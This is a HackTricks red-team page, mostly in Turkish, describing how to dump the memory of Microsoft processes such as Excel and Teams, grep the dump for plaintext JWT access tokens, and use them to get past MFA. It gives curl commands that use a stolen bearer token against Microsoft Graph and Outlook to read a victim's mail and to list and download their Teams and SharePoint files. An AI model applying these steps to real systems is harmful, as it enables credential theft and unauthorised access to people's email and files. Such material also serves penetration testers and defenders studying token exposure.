Az - Processes Memory Access Token

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Temel Bilgiler

Bu videoda açıklandığı gibi, bulutla senkronize olan bazı Microsoft yazılımları (Excel, Teams...) erişim belirteçlerini bellek içinde düz metin olarak saklayabilir. Bu nedenle, sadece işlemin bellek dökümünü almak ve JWT belirteçlerini aramak, kurbanın buluttaki çeşitli kaynaklarına MFA'yı atlayarak erişim sağlayabilir.

Adımlar:

1. EntraID kullanıcısıyla senkronize olan excel işlemlerinin dökümünü favori aracınızla alın.

2. string excel.dmp | grep 'eyJ0' komutunu çalıştırın ve çıktıda birkaç belirteç bulun.

3. Sizi en çok ilgilendiren belirteçleri bulun ve bunlar üzerinde araçlar çalıştırın:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Bu tür erişim jetonlarının diğer süreçlerin içinde de bulunabileceğini unutmayın.

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.